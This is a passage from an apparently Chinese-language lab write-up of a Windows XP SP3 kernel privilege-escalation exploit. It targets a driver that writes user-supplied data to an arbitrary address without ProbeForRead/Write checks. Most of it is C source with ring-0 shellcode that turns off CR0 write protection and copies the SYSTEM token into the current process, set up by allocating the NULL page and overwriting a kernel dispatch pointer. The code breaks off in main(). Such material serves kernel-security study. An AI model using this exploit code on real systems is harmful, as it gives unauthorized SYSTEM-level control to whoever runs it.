实验环境 xp sp3
此实验将一个不常用的内核函数置0,然后R3申请了0地址的指针,将shellcode拷到此内存,内核并没有做ProbeForRead /Write检查
直接对传入的数据进行了修改,造成了任意地址写任意数据漏洞 ,提权了R3程序为system权限
R3代码
主要获得一个函数的地址,将函数地址传入R0
R0将此函数地址置0,然后R3申请了一个0地址,将shellcode拷到了申请的内存中,然后调用被置0的函数,触发了shellcode
// exploit.cpp : Defines the entry point for the console application.
//
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "ntapi.h"
#include <conio.h>
#pragma comment(linker,"/defaultlib:ntdll.lib")
#define PAGE_SIZE 0x1000
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003
#define KERNEL_NAME_LENGTH 0x0D
#define BUFFER_LENGTH 0x04
//触发漏洞使用的IoControlCode
#define IOCTL_METHOD_NEITHER 0x8888A003
int g_uCr0 = 0;
int g_isRing0ShellcodeCalled = 0;
//Ring0中执行的Shellcode
NTSTATUS Ring0ShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
//打开内核写
__asm
{
cli;
mov eax, cr0;
mov g_uCr0,eax;
and eax,0xFFFEFFFF;
mov cr0, eax;
}
//USEFULL FOR XP SP3
__asm
{
//KPCR
//由于Windows需要支持多个CPU, 因此Windows内核中为此定义了一套以处理器控制区(Processor Control Region)
//即KPCR为枢纽的数据结构, 使每个CPU都有个KPCR. 其中KPCR这个结构中有一个域KPRCB(Kernel Processor Control Block)结构,
//这个结构扩展了KPCR. 这两个结构用来保存与线程切换相关的全局信息.
//通常fs段寄存器在内核模式下指向KPCR, 用户模式下指向TEB.
//http://blog.csdn.net/hu3167343/article/details/7612595
//http://huaidan.org/archives/2081.html
mov eax, 0xffdff124 //KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]获取当前线程的ETHREAD指针。
mov eax,[eax] //PETHREAD
mov esi,[eax+0x220] //PEPROCESS
mov eax, esi
searchXp:
mov eax,[eax+0x88] //NEXT EPROCESS
sub eax,0x88
mov edx,[eax+0x84] //PID
cmp edx,0x4 //SYSTEM PID
jne searchXp
mov eax, [eax+0xc8] //SYSTEM TOKEN
mov [esi+0xc8],eax //CURRENT PROCESS TOKEN
}
//关闭内核写
__asm
{
sti;
mov eax, g_uCr0;
mov cr0,eax;
}
g_isRing0ShellcodeCalled = 1;
return 0;
}
//申请内存的函数
PVOID MyAllocateMemory(IN ULONG Length)
{
NTSTATUS NtStatus;
PVOID BaseAddress = NULL;
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
0,
&Length,
MEM_RESERVE |
MEM_COMMIT,
PAGE_READWRITE);
if(NtStatus == STATUS_SUCCESS)
{
RtlZeroMemory(BaseAddress, Length);
return BaseAddress;
}
return NULL;
}
//释放内存的函数
VOID MyFreeMemory(IN PVOID BaseAddress)
{
NTSTATUS NtStatus;
ULONG FreeSize = 0;
NtStatus = NtFreeVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
&FreeSize,
MEM_RELEASE);
}
//main函数
int main(int argc, char* argv[])
{
NTSTATUS NtStatus;
HANDLE DeviceHandle=NULL;
ULONG ReturnLength = 0;
ULONG ImageBase;
PVOID MappedBase=NULL;
UCHAR ImageName[KERNEL_NAME_LENGTH];
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable;
PVOID xHalQuerySystemInformation;
ULONG ShellCodeSize = PAGE_SIZE;
PVOID ShellCodeAddress;
PVOID BaseAddress = NULL;
UNICODE_STRING DeviceName;
UNICODE_STRING DllName;
ANSI_STRING ProcedureName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL;
LARGE_INTEGER Interval;
ULONG InputData=0;
//清空控制台屏幕
system("cls");
//printf("Please press any key to exploit");
//getch();
//从line 139-->line 214都是在获取内核函数xHalQuerySystemInformation的内存地址
//获取内核模块列表数据长度到ReturnLength
NtStatus = NtQuerySystemInformation(
SystemModule